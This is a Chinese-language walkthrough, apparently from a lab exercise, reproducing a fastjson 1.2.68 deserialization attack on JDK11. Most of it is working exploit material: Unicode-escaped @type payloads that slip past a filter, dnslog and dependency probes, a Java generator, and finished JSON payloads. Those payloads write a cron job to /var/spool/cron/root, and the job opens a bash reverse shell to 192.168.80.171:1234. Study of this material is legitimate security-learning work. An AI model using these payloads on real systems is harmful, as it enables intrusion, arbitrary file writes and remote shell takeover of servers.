fastjson 1268 jkd11 writefile

参考：https://github.com/lemono0/FastJsonPart

主打一个过程复现，理解漏洞利用流程，网上很多大佬的文章，文章写的很好，但作为基础学习还是不够（特别是用 idea 编译 java 文件，如何解决依赖等基础问题，-__-|.），所以就把自己复现过程的流程写下。

07-1268-jkd11-writefile

抓包，删除括号，判断 fastjson 的版本

dnslog 探测 fastjson，发现被过滤了

将 @type 进行 unicode 编码

Copy
{
"\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
"address": ,
"val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
}
}

接受到 dnslog 请求

探测版本

Copy
{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"

探测依赖

Copy
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}

返回 can not cast to char 代表存在 java.net.http.HttpClient，即为 JDK11。

org.springframework.web.bind.annotation.RequestMapping 是 SpringBoot 特有的类，所以靶场环境是 SpringBoot 环境。

Copy
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}

确定了使用的 JDK11，便可无限制写入文件。采用写入计划任务反弹 shell。

生成 exp 文件，jdk11.java

Copy
import com.alibaba.fastjson.JSON;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Base64;
import java.util.zip.Deflater;

public class jdk11 {

public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}

public static void main(String[] args) throws Exception {
String code = gzcompress("* * * * * bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"/var/spool/cron/root\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\"" + code + "\",\r\n"
+ " \"limit\":1999\r\n"
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";

System.out.println(payload);
JSON.parseObject(payload);
}
}

生成 payload

注意：

在写入计划任务时，有几个需要注意的点：

linux 本身系统限制，首先 centos 和 ubuntu 系列是不同的，写入文件位置、命令方式均有区别，这里因为是 centos 系统，所以写入到 /var/spool/cron/root 文件下，而 ubuntu 系统则应该写入到 /etc/crontab 系统级计划任务下，而不是 /var/spool/cron/crontabs/root 文件下，因为该方式将会涉及到改权限、计划任务服务重启的操作。

通过这种文件写入漏洞写入计划任务时，需要在命令的后面加上换行操作，保证该命令为完整的一行，否则不会反弹成功。

Copy
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
"limit":1999
}
},
"bufLen":1048576
},
"protocolVersion":1
}

需要在 limit 处写入文件内真实数据的长度，这个长度会因为一些处理导致并不是我们写入计划任务命令的长度，这里方法同样是利用到报错，先将 limit 值尽量设置较大，fastjson 会因为偏移位置不对爆出正确的数据偏移，即这里的 59，所以 59 才是真实的数据长度。

Copy
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
"limit":59
}
},
"bufLen":1048576
},
"protocolVersion":1
}

反弹会 shell